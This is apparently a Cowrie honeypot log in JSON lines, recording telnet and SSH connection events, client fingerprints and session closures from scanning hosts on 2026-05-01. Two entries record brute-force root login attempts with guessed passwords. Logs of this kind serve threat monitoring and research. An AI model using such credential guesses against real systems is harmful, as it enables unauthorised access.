{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":48228,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8129b832dac","protocol":"telnet","message":"New connection: 103.249.100.206:48228 (10.17.0.5:23) [session: d8129b832dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:57.212264Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:57.668479Z","src_ip":"102.211.152.138","session":"a4eadf848251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.26.130.157","src_port":54466,"dst_ip":"10.17.0.5","dst_port":23,"session":"308b01763822","protocol":"telnet","message":"New connection: 154.26.130.157:54466 (10.17.0.5:23) [session: 308b01763822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:57.746389Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":35940,"dst_ip":"10.17.0.5","dst_port":23,"session":"c81fa5d8ca0f","protocol":"telnet","message":"New connection: 162.241.114.254:35940 (10.17.0.5:23) [session: c81fa5d8ca0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:57.998162Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":35650,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bf9283f339","protocol":"telnet","message":"New connection: 162.241.114.254:35650 (10.17.0.5:23) [session: 08bf9283f339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:58.479419Z"}
{"eventid":"cowrie.session.closed","duration":31.328809022903442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:58.667568Z","src_ip":"162.241.114.254","session":"cf5f51ed1ab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.366370916366577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:00.341392Z","src_ip":"103.249.100.206","session":"d058120e51a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":33202,"dst_ip":"10.17.0.5","dst_port":23,"session":"380d516b5436","protocol":"telnet","message":"New connection: 137.184.155.248:33202 (10.17.0.5:23) [session: 380d516b5436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:01.087960Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":38314,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccd3c1282839","protocol":"telnet","message":"New connection: 162.241.114.254:38314 (10.17.0.5:23) [session: ccd3c1282839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:01.946972Z"}
{"eventid":"cowrie.session.closed","duration":30.729724407196045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:02.458281Z","src_ip":"162.241.114.254","session":"37d3ce0ae877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":39122,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfef2e8b0e75","protocol":"telnet","message":"New connection: 162.241.114.254:39122 (10.17.0.5:23) [session: dfef2e8b0e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:03.275260Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59286,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2fa210152d0","protocol":"telnet","message":"New connection: 137.184.155.248:59286 (10.17.0.5:23) [session: f2fa210152d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:04.077985Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":40602,"dst_ip":"10.17.0.5","dst_port":23,"session":"e80dc5d45256","protocol":"telnet","message":"New connection: 162.241.114.254:40602 (10.17.0.5:23) [session: e80dc5d45256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:05.451392Z"}
{"eventid":"cowrie.session.closed","duration":31.014914989471436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:06.082177Z","src_ip":"162.241.114.254","session":"dcb77bd5d158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944694995880127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:06.173898Z","src_ip":"162.241.114.254","session":"9ec227199f75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912288188934326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:06.263506Z","src_ip":"162.241.114.254","session":"d9bf88b1b4b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.862361907958984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:06.812050Z","src_ip":"103.249.100.206","session":"db8eda692f82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":41748,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b1d9f84596a","protocol":"telnet","message":"New connection: 162.241.114.254:41748 (10.17.0.5:23) [session: 0b1d9f84596a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:07.679575Z"}
{"eventid":"cowrie.session.closed","duration":31.056681871414185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:07.836700Z","src_ip":"103.249.100.206","session":"442ff4c49e5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":41738,"dst_ip":"10.17.0.5","dst_port":23,"session":"948b515aeebe","protocol":"telnet","message":"New connection: 162.241.114.254:41738 (10.17.0.5:23) [session: 948b515aeebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:08.675169Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":42356,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a9bb855a62","protocol":"telnet","message":"New connection: 162.241.114.254:42356 (10.17.0.5:23) [session: f4a9bb855a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:08.799468Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":60798,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa4cca5eec42","protocol":"telnet","message":"New connection: 103.249.100.206:60798 (10.17.0.5:23) [session: aa4cca5eec42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:09.975278Z"}
{"eventid":"cowrie.session.closed","duration":52.3328173160553,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:09.985996Z","src_ip":"137.184.155.248","session":"c20e7cb4fa3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18844223022461,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:12.000650Z","src_ip":"162.241.114.254","session":"b41092eb208e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063324451446533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:12.037455Z","src_ip":"162.241.114.254","session":"f1d014764304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079227924346924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:12.555597Z","src_ip":"162.241.114.254","session":"b1e6700e09e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04441738128662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:12.823893Z","src_ip":"103.249.100.206","session":"5275cb16b12e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66473388671875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:13.130705Z","src_ip":"216.238.80.67","session":"8ea81d5da3ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52201747894287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:13.779391Z","src_ip":"162.241.114.254","session":"9061630f031d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24756383895874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:14.603714Z","src_ip":"162.241.114.254","session":"d640c8d2f9f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.048648834228516,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:14.970487Z","src_ip":"103.249.100.206","session":"4d96501598d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":46724,"dst_ip":"10.17.0.5","dst_port":23,"session":"64905c4e8f96","protocol":"telnet","message":"New connection: 162.241.114.254:46724 (10.17.0.5:23) [session: 64905c4e8f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:16.750503Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":47776,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8671629fbb","protocol":"telnet","message":"New connection: 162.241.114.254:47776 (10.17.0.5:23) [session: 3a8671629fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:18.295370Z"}
{"eventid":"cowrie.session.closed","duration":30.538177013397217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:18.381109Z","src_ip":"162.241.114.254","session":"13596d6a0dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":39314,"dst_ip":"10.17.0.5","dst_port":23,"session":"50d598e1bf44","protocol":"telnet","message":"New connection: 103.249.100.206:39314 (10.17.0.5:23) [session: 50d598e1bf44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:19.562493Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":49570,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f7ee552780b","protocol":"telnet","message":"New connection: 162.241.114.254:49570 (10.17.0.5:23) [session: 1f7ee552780b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:21.097866Z"}
{"eventid":"cowrie.session.closed","duration":31.385209560394287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:21.159399Z","src_ip":"162.241.114.254","session":"e78e6ad4a0bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.6656768321991,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:21.426740Z","src_ip":"137.184.155.248","session":"848189c3558c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":49744,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d5f1fae49c","protocol":"telnet","message":"New connection: 162.241.114.254:49744 (10.17.0.5:23) [session: 90d5f1fae49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:21.553226Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":52238,"dst_ip":"10.17.0.5","dst_port":23,"session":"16fe6ed89159","protocol":"telnet","message":"New connection: 162.241.114.254:52238 (10.17.0.5:23) [session: 16fe6ed89159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:25.107444Z"}
{"eventid":"cowrie.session.closed","duration":31.17120385169983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:25.838881Z","src_ip":"162.241.114.254","session":"591cccbc1d2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.142814874649048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:25.922064Z","src_ip":"162.241.114.254","session":"c3e247c5afc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":43238,"dst_ip":"159.203.135.109","dst_port":22,"session":"91bb41842bec","protocol":"ssh","message":"New connection: 43.157.98.118:43238 (159.203.135.109:22) [session: 91bb41842bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:26.104847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:26.109052Z","src_ip":"43.157.98.118","session":"91bb41842bec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:26.200334Z","src_ip":"43.157.98.118","session":"91bb41842bec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":53008,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0366ad369e7","protocol":"telnet","message":"New connection: 162.241.114.254:53008 (10.17.0.5:23) [session: c0366ad369e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:26.533687Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123345","message":"login attempt [root/123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:26.898346Z","src_ip":"43.157.98.118","session":"91bb41842bec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":53280,"dst_ip":"10.17.0.5","dst_port":23,"session":"dffec020a0f0","protocol":"telnet","message":"New connection: 162.241.114.254:53280 (10.17.0.5:23) [session: dffec020a0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:27.019916Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:27.991790Z","src_ip":"43.157.98.118","session":"91bb41842bec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.375664949417114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:28.121916Z","src_ip":"154.26.130.157","session":"308b01763822","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49216651916504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:28.490197Z","src_ip":"162.241.114.254","session":"c81fa5d8ca0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37642002105713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:28.580308Z","src_ip":"162.241.114.254","session":"17878cf1a21f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.665173053741455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:28.877336Z","src_ip":"103.249.100.206","session":"d8129b832dac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149174690246582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:29.628470Z","src_ip":"162.241.114.254","session":"08bf9283f339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":55978,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d0abde52d62","protocol":"telnet","message":"New connection: 162.241.114.254:55978 (10.17.0.5:23) [session: 0d0abde52d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:31.682169Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":56034,"dst_ip":"10.17.0.5","dst_port":23,"session":"31b2d74b99bc","protocol":"telnet","message":"New connection: 162.241.114.254:56034 (10.17.0.5:23) [session: 31b2d74b99bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:31.816671Z"}
{"eventid":"cowrie.session.closed","duration":30.653765439987183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:32.600593Z","src_ip":"162.241.114.254","session":"ccd3c1282839","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":56646,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef3f57f1e7e","protocol":"telnet","message":"New connection: 162.241.114.254:56646 (10.17.0.5:23) [session: cef3f57f1e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:32.729436Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":57324,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf4d353cf063","protocol":"telnet","message":"New connection: 162.241.114.254:57324 (10.17.0.5:23) [session: bf4d353cf063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:34.264166Z"}
{"eventid":"cowrie.session.closed","duration":31.07190442085266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:34.347042Z","src_ip":"162.241.114.254","session":"dfef2e8b0e75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":57116,"dst_ip":"10.17.0.5","dst_port":23,"session":"a57fae3748c4","protocol":"telnet","message":"New connection: 162.241.114.254:57116 (10.17.0.5:23) [session: a57fae3748c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:34.805242Z"}
{"eventid":"cowrie.session.closed","duration":30.7518310546875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:36.203107Z","src_ip":"162.241.114.254","session":"e80dc5d45256","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.464574813842773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:39.144039Z","src_ip":"162.241.114.254","session":"0b1d9f84596a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50952649116516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:39.184593Z","src_ip":"162.241.114.254","session":"948b515aeebe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":63076,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec8317a85ac9","protocol":"ssh","message":"New connection: 178.27.90.142:63076 (159.203.135.109:22) [session: ec8317a85ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:39.267824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:39.272029Z","src_ip":"178.27.90.142","session":"ec8317a85ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:39.375232Z","src_ip":"178.27.90.142","session":"ec8317a85ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123ASD","message":"login attempt [root/qwe123ASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:39.811330Z","src_ip":"178.27.90.142","session":"ec8317a85ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.347208499908447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:40.146578Z","src_ip":"162.241.114.254","session":"f4a9bb855a62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":53388,"dst_ip":"10.17.0.5","dst_port":22,"session":"b469c92bea2d","protocol":"ssh","message":"New connection: 190.244.39.232:53388 (10.17.0.5:22) [session: b469c92bea2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:40.810766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:40.818428Z","src_ip":"190.244.39.232","session":"b469c92bea2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:40.915762Z","src_ip":"178.27.90.142","session":"ec8317a85ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00191879272461,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:40.948276Z","src_ip":"182.253.54.171","session":"9262d298f0e1","protocol":"telnet"}
